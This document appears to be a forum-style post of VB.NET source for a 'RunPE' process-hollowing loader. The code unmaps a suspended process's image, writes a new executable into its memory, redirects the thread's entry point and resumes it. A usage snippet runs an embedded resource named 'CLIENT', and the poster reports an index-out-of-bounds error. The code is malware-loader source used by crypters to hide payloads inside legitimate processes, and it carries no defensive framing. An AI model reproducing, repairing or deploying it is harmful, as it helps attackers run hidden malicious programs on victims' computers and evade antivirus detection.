Dim NH As New H.NT_Headers
```

```

NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType)
Dim Address As IntPtr, Offset As Long, ret As UInteger
SI.CB = Marshal.SizeOf(SI)
C.Flags = 65538
If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return
If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8,
Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
    Dim ImageBase As UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image,
NH.Optional.SImage, 12288, 4)
    If ImageBase <> 0 Then
        H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret)
        Offset = DH.Address + 248
        For I As Integer = 0 To NH.File.Sections - 1
            SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType)
            Dim Raw(SH.Size) As Byte
            For Y As Integer = 0 To SH.Size - 1
                Raw(Y) = data(SH.Pointer + Y)
            Next
            H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret)
            H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags),
Address)
        Next I
        Dim T = BitConverter.GetBytes(ImageBase)
        H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret)
        C.Eax = ImageBase + NH.Optional.Address
        H.SetThreadContext(PI.Thread, C)
        H.ResumeThread(PI.Thread)
    End If
End If
End Sub
Private Shared Function Protect(ByVal flags As Long) As Long
If flags < 0 Then flags += 4294967296
Return New Long() {1, 16, 2, 32, 4, 64, 4, 64}(flags / 841)
End Function
<EditorBrowsable(1)> Friend Class H
<StructLayout(0)> Structure Context
    Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save
    Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte()
End Structure
<StructLayout(0)> Structure Save
    Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
    Dim State As UInt32
End Structure
Structure Misc
    Dim Address, Size As UInt32
End Structure
Structure Section_Header
    Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations,
NLines, Flags As UInt32
End Structure
Structure Process_Information

```

```

    Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer
End Structure
<StructLayout(0, CharSet:=3)> Structure Startup_Information
    Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount,
Fill, Flags As Integer
    Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer
End Structure
<StructLayout(0)> Structure Security_Flags
    Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer
End Structure
<StructLayout(0)> Structure DOS_Header
    Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS,
Table, Overlay As UInt16
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As UInt16()
    Dim ID, Info As UInt16
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As UInt16()
    Dim Address As Int32
End Structure
Structure NT_Headers
    Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers
End Structure
<StructLayout(0)> Structure File_Header
    Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16
End Structure
<StructLayout(0)> Structure Optional_Headers
    Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data,
Image As UInt32, SectionA, FileA As UInt32
    Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders,
Checksum As UInt32, Subsystem, Flags As UInt16
    Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As
Data_Directory()
End Structure
<StructLayout(0)> Structure Data_Directory
    Dim Address, Size As UInt32
End Structure
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As
String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As
Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef
startup As Startup_Information, <Out()> ByRef info As Process_Information) As Boolean
    Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal
address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As
Boolean
    Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal
address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
    Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As
IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
    Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As
IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
    Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal
address As IntPtr) As Long
    Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
    Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As

```

Context) As Boolean

Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean

End Class

End Class

Usage would be something like..

Code RunPE.Execute(My.Resources.CLIENT)

Code 'This kind of defeats the purpose.

RunPE.Execute(IO.File.ReadAllBytes("C:\PathToFile.exe"))

This gives an array index out of bounds error.